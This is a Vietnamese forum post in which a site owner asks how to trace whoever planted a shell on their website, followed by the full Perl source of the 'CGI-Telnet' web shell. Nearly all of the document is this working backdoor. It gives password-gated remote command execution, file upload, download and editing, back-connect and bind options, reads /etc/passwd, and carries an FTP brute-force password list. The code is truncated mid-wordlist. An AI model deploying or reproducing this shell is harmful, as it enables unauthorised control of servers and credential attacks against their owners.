Help Shell ?

Tìm ra được mail thằng up shell này ko các bác nhỉ?
Cái web cùi bắp thôi mà ko biết nó chèn làm gì

Code:

#!/usr/bin/perl -I/usr/local/bandmin
use MIME::Base64;
$Version= "CGI-Telnet Version 1.3";
$EditPersion="MIsss";

$Password = "svn";            # Change this. You will need to enter this
                # to login.
sub Is_Win(){
    $os = &trim($ENV{"SERVER_SOFTWARE"});
    if($os =~ m/win/i){
        return 1;
    }
    else{
        return 0;
    }
}
$WinNT = &Is_Win();                # You need to change the value of this to 1 if
                                # you're running this script on a Windows NT
                                # machine. If you're running it on Unix, you
                                # can leave the value as it is.

$NTCmdSep = "&";                # This character is used to seperate 2 commands
                                # in a command line on Windows NT.

$UnixCmdSep = ";";                # This character is used to seperate 2 commands
                                # in a command line on Unix.

$CommandTimeoutDuration = 10000;    # Time in seconds after commands will be killed
                                # Don't set this to a very large value. This is
                                # useful for commands that may hang or that
                                # take very long to execute, like "find /".
                                # This is valid only on Unix servers. It is
                                # ignored on NT Servers.

$ShowDynamicOutput = 1;            # If this is 1, then data is sent to the
                                # browser as soon as it is output, otherwise
                                # it is buffered and send when the command
                                # completes. This is useful for commands like
                                # ping, so that you can see the output as it
                                # is being generated.

# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
$cols= 150;
$rows= 26;
#------------------------------------------------------------------------------
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
# Other variables can be accessed using $in{'var'}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#------------------------------------------------------------------------------
sub ReadParse
{
    local (*in) = @_ if @_;
    local ($i, $loc, $key, $val);

    $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

    if($ENV{'REQUEST_METHOD'} eq "GET")
    {
        $in = $ENV{'QUERY_STRING'};
    }
    elsif($ENV{'REQUEST_METHOD'} eq "POST")
    {
        binmode(STDIN) if $MultipartFormData & $WinNT;
        read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
    }

    # handle file upload data
    if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
    {
        $Boundary = '--'.$1; # please refer to RFC1867
        @list = split(/$Boundary/, $in);
        $HeaderBody = $list[1];
        $HeaderBody =~ /\r\n\r\n|\n\n/;
        $Header = $`;
        $Body = $';
         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
        $in{'filedata'} = $Body;
        $Header =~ /filename=\"(.+)\"/;
        $in{'f'} = $1;
        $in{'f'} =~ s/\"//g;
        $in{'f'} =~ s/\s//g;

        # parse trailer
        for($i=2; $list[$i]; $i++)
        {
            $list[$i] =~ s/^.+name=$//;
            $list[$i] =~ /\"(\w+)\"/;
            $key = $1;
            $val = $';
            $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
            $val =~ s/%(..)/pack("c", hex($1))/ge;
            $in{$key} = $val;
        }
    }
    else # standard post data (url encoded, not multipart)
    {
        @in = split(/&/, $in);
        foreach $i (0 .. $#in)
        {
            $in[$i] =~ s/\+/ /g;
            ($key, $val) = split(/=/, $in[$i], 2);
            $key =~ s/%(..)/pack("c", hex($1))/ge;
            $val =~ s/%(..)/pack("c", hex($1))/ge;
            $in{$key} .= "\0" if (defined($in{$key}));
            $in{$key} .= $val;
        }
    }
}

#------------------------------------------------------------------------------
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#------------------------------------------------------------------------------
sub PrintPageHeader
{
    $EncodedCurrentDir = $CurrentDir;
    $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
    my $dir =$CurrentDir;
    $dir=~ s/\\/\\\\/g;
    print "Content-type: text/html\n\n";
    print <




$HtmlMetaHeader








    

        $EditPersion
    

    


        $ENV{"SERVER_SOFTWARE"}
    
    
Server IP: $ENV{'SERVER_ADDR'} | Your IP: $ENV{'REMOTE_ADDR'}
    





Home |
Command |
GUI |
Upload File |
Download File |

Back & Bind |
Brute Forcer |
Check Log |
Domains/Users |
Logout |
Help





END
}

#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{

    print <



Copyright (C) 2001 Rohitab Batra 





 Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 


 Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

~\$ Connected ! 

$ServerName~ Checking Server . . . . . . . . . . . . . . . . . . . 


$ServerName~ Trying connect to Command . . . . . . . . . . .


$ServerName~\$ Connected Command! 

$ServerName~\$ OK! You can kill it!






END
}

#------------------------------------------------------------------------------
# Add html special chars
#------------------------------------------------------------------------------
sub HtmlSpecialChars($){
    my $text = shift;
    $text =~ s/&/&/g;
    $text =~ s/"/"/g;
    $text =~ s/'/'/g;
    $text =~ s//>/g;
    return $text;
}
#------------------------------------------------------------------------------
# Add link for directory
#------------------------------------------------------------------------------
sub AddLinkDir($)
{
    my $ac=shift;
    my @dir=();
    if($WinNT)
    {
        @dir=split(/\\/,$CurrentDir);
    }else
    {
        @dir=split("/",&trim($CurrentDir));
    }
    my $path="";
    my $result="";
    foreach (@dir)
    {
        $path .= $_.$PathSep;
        $result.="".$_.$PathSep."";
    }
    return $result;
}
#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
    print <
Login : Administrator


Password:

Login incorrect


END
}

#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
    print <

Login : Administrator

Password:


END
}

#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
    print "
o---[  Edit by $EditPersion   ]---o";
}

#------------------------------------------------------------------------------
# Retreives the values of all cookies. The cookies can be accesses using the
# variable $Cookies{''}
#------------------------------------------------------------------------------
sub GetCookies
{
    @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
    foreach $cookie(@httpcookies)
    {
        ($id, $val) = split(/=/, $cookie);
        $Cookies{$id} = $val;
    }
}

#------------------------------------------------------------------------------
# Prints the screen when the user logs out
#------------------------------------------------------------------------------
sub PrintLogoutScreen
{
    print "Connection closed by foreign host.

";
}

#------------------------------------------------------------------------------
# Logs out the user and allows the user to login again
#------------------------------------------------------------------------------
sub PerformLogout
{
    print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
    &PrintPageHeader("p");
    &PrintLogoutScreen;

    &PrintLoginScreen;
    &PrintLoginForm;
    &PrintPageFooter;
    exit;
}

#------------------------------------------------------------------------------
# This function is called to login the user. If the password matches, it
# displays a page that allows the user to run commands. If the password doens't
# match or if no password is entered, it displays a form that allows the user
# to login
#------------------------------------------------------------------------------
sub PerformLogin
{
    if($LoginPassword eq $Password) # password matched
    {
        print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
        &PrintPageHeader;
        print &ListDir;
    }
    else # password didn't match
    {
        &PrintPageHeader("p");
        &PrintLoginScreen;
        if($LoginPassword ne "") # some password was entered
        {
            &PrintLoginFailedMessage;

        }
        &PrintLoginForm;
        &PrintPageFooter;
        exit;
    }
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to enter commands
#------------------------------------------------------------------------------
sub PrintCommandLineInputForm
{
    my $dir= "".&AddLinkDir("command")."";
    $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
    return <





$Prompt



END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to download files
#------------------------------------------------------------------------------
sub PrintFileDownloadForm
{
    my $dir = &AddLinkDir("download");
    $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
    return <



$Prompt download


Filename: 


Download: 


END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to upload files
#------------------------------------------------------------------------------
sub PrintFileUploadForm
{
    my $dir= &AddLinkDir("upload");
    $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
    return <

$Prompt upload


Filename: 


Options:  
Overwrite if it Exists


Upload:   





END
}

#------------------------------------------------------------------------------
# This function is called when the timeout for a command expires. We need to
# terminate the script immediately. This function is valid only on Unix. It is
# never called when the script is running on NT.
#------------------------------------------------------------------------------
sub CommandTimeout
{
    if(!$WinNT)
    {
        alarm(0);
        return <


Command exceeded maximum time of $CommandTimeoutDuration second(s).

Killed it!
END
    }
}

#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
    local($FileUrl) = @_;
    my $result="";
    if(-e $FileUrl) # if the file exists
    {
        # encode the file link so we can send it to the browser
        $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
        $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
        $HtmlMetaHeader = "";
        &PrintPageHeader("c");
        $result .= <


If the download does not start automatically,
Click Here
END
        $result .= &PrintCommandLineInputForm;
    }
    else # file doesn't exist
    {
        $result .= "Failed to download $FileUrl: $!";
        $result .= &PrintFileDownloadForm;
    }
    return $result;
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
    my $result = "";
    local($SendFile) = @_;
    if(open(SENDFILE, $SendFile)) # file opened for reading
    {
        if($WinNT)
        {
            binmode(SENDFILE);
            binmode(STDOUT);
        }
        $FileSize = (stat($SendFile))[7];
        ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
        print "Content-Type: application/x-unknown\n";
        print "Content-Length: $FileSize\n";
        print "Content-Disposition: attachment; filename=$1\n\n";
        print while();
        close(SENDFILE);
        exit(1);
    }
    else # failed to open file
    {
        $result .= "Failed to download $SendFile: $!";
        $result .=&PrintFileDownloadForm;
    }
    return $result;
}

#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
    # get fully qualified path of the file to be downloaded
    if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
        (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
    {
        $TargetFile = $TransferFile;
    }
    else # path is relative
    {
        chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
        $TargetFile .= $PathSep.$TransferFile;
    }

    if($Options eq "go") # we have to send the file
    {
        &SendFileToBrowser($TargetFile);
    }
    else # we have to send only the link page
    {
        &PrintDownloadLinkPage($TargetFile);
    }
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
    # if no file is specified, print the upload form again
    if($TransferFile eq "")
    {
        return &PrintFileUploadForm;

    }
    my $result="";
    # start the uploading process
    $result .= "Uploading $TransferFile to $CurrentDir...
";

    # get the fullly qualified pathname of the file to be created
    chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
    $TransferFile =~ m!([^/^\\]*)$!;
    $TargetName .= $PathSep.$1;

    $TargetFileSize = length($in{'filedata'});
    # if the file exists and we are not supposed to overwrite it
    if(-e $TargetName && $Options ne "overwrite")
    {
        $result .= "Failed: Destination file already exists.
";
    }
    else # file is not present
    {
        if(open(UPLOADFILE, ">$TargetName"))
        {
            binmode(UPLOADFILE) if $WinNT;
            print UPLOADFILE $in{'filedata'};
            close(UPLOADFILE);
            $result .= "Transfered $TargetFileSize Bytes.
";
            $result .= "File Path: $TargetName
";
        }
        else
        {
            $result .= "Failed: $!
";
        }
    }
    $result .= &PrintCommandLineInputForm;
    return $result;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through  which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
    # if no file is specified, print the download form again
    if($TransferFile eq "")
    {
        &PrintPageHeader("f");
        return &PrintFileDownloadForm;
    }

    # get fully qualified path of the file to be downloaded
    if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
    {
        $TargetFile = $TransferFile;
    }
    else # path is relative
    {
        chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
        $TargetFile .= $PathSep.$TransferFile;
    }

    if($Options eq "go") # we have to send the file
    {
        return &SendFileToBrowser($TargetFile);
    }
    else # we have to send only the link page
    {
        return &PrintDownloadLinkPage($TargetFile);
    }
}

#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
    my $result="";
    if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
    {
        # we change the directory internally. The output of the
        # command is not displayed.
        $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
        chop($CurrentDir = `$Command`);
        $result .= &PrintCommandLineInputForm;

        $result .= "Command: $RunCommand 
";
        # xuat thong tin khi chuyen den 1 thu muc nao do!
        $RunCommand= $WinNT?"dir":"dir -lia";
        $result .= &RunCmd;
    }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
    {
        $result .=  &SaveFileForm;
    }else
    {
        $result .= &PrintCommandLineInputForm;
        $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
        $result .=&RunCmd;
    }
    $result .=  "";
    return $result;
}

#------------------------------------------------------------------------
# run command
#------------------------------------------------------------------------

sub RunCmd
{
    my $result="";
    $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
    if(!$WinNT)
    {
        $SIG{'ALRM'} = \&CommandTimeout;
        alarm($CommandTimeoutDuration);
    }
    if($ShowDynamicOutput) # show output as it is generated
    {
        $|=1;
        $Command .= " |";
        open(CommandOutput, $Command);
        while()
        {
            $_ =~ s/(\n|\r\n)$//;
            $result .= &HtmlSpecialChars("$_\n");
        }
        $|=0;
    }
    else # show output after command completes
    {
        $result .= &HtmlSpecialChars('$Command');
    }
    if(!$WinNT)
    {
        alarm(0);
    }
    return $result;
}
#==============================================================================
# Form Save File
#==============================================================================
sub SaveFileForm
{
    my $result ="";
    substr($RunCommand,0,5)="";
    my $file=&trim($RunCommand);
    $save='
';
    $File=$CurrentDir.$PathSep.$RunCommand;
    my $dir="".&AddLinkDir("gui")."";
    if(-w $File)
    {
        $rows="23"
    }else
    {
        $msg="
 Permission denied!
";
        $rows="20"
    }
    $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
    $read=($WinNT)?"type":"less";
    $RunCommand = "$read \"$RunCommand\"";
    $result .=  <


    
    $Prompt
    
    
    
Command:  $RunCommand 
     $save 
 $msg
    
END

    $result .= &RunCmd;
    $result .=  "";
    $result .=  "
";
    return $result;
}
#==============================================================================
# Save File
#==============================================================================
sub SaveFile($)
{
    my $Data= shift ;
    my $File= shift;
    $File=$CurrentDir.$PathSep.$File;
    if(open(FILE, ">$File"))
    {
        binmode FILE;
        print FILE $Data;
        close FILE;
        return 1;
    }else
    {
        return 0;
    }
}
#------------------------------------------------------------------------------
# Brute Forcer Form
#------------------------------------------------------------------------------
sub BruteForcerForm
{
    my $result="";
    $result .= <




####################################

Simple FTP brute forcer

####################################






User:
END
chop($result .= `less /etc/passwd | cut -d: -f1`);
$result .= <<'END';



Pass:

123pass
123!@#
123admin
123abc
123456admin
1234554321
12344321
pass123
admin
admincp
administrator
matkhau
passadmin
p@ssword
p@ssw0rd
password
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
234234
345345
456456
567567
678678
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin123
admin123456
abcdef
abcabc
!@#!@#
!@#$%^
!@#$%^&*(
!@#$$#@!
abc123
anhyeuem
iloveyou




Sleep:

0
1
2

3